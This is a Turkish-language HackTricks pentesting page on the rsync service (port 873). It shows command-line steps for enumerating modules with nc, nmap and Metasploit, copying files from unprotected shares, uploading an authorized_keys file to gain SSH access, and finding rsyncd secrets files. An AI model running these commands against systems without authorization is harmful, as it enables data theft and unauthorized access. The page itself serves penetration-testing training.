873 - Pentesting Rsync

Reading time: 4 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

From wikipedia:

rsync, bir bilgisayar ile harici bir sabit disk arasında ve bilgisayarları arasında dosyaları verimli bir şekilde aktarmak ve senkronize etmek için bir yardımcı programdır; dosyaların değiştirilme zamanlarını ve boyutlarını karşılaştırarak çalışır.[3] Genellikle Unix benzeri işletim sistemlerinde bulunur. Rsync algoritması, delta kodlama türlerinden biridir ve ağ kullanımını minimize etmek için kullanılır. Zlib ek veri sıkıştırması için kullanılabilir,[3] ve SSH veya stunnel güvenlik için kullanılabilir.

Varsayılan port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeration

bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

Paylaşılan Klasörlerin Sayımı

Rsync modülleri, şifrelerle korunabilecek dizin paylaşımları olarak tanınır. Mevcut modülleri belirlemek ve şifre gerektirip gerektirmediklerini kontrol etmek için aşağıdaki komutlar kullanılır:

bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

Dikkat edin ki bazı paylaşımlar listede görünmeyebilir, bu da onları gizliyor olabilir. Ayrıca, bazı paylaşımlara erişim belirli kimlik bilgileri ile kısıtlanmış olabilir ve bu, "Erişim Engellendi" mesajı ile belirtilir.

Brute Force

Manuel Rsync Kullanımı

Bir modül listesi elde edildikten sonra, eylemler kimlik doğrulamanın gerekip gerekmediğine bağlıdır. Kimlik doğrulama olmadan, bir paylaşılan klasörden yerel bir dizine dosyaları listelemek ve kopyalamak için:

bash
# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

Bu işlem dosyaları özyinelemeli olarak aktarır, niteliklerini ve izinlerini korur.

Kimlik bilgileri ile, paylaşılan bir klasörden listeleme ve indirme aşağıdaki gibi yapılabilir; burada bir şifre istemi görünecektir:

bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

İçerik yüklemek için, erişim için bir authorized_keys dosyası gibi, şunu kullanın:

bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd yapılandırma dosyasını bulmak için şunu çalıştırın:

bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

Bu dosyada, bir secrets file parametresi kullanıcı adları ve şifreler içeren bir dosyaya işaret edebilir rsyncd kimlik doğrulaması için.

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin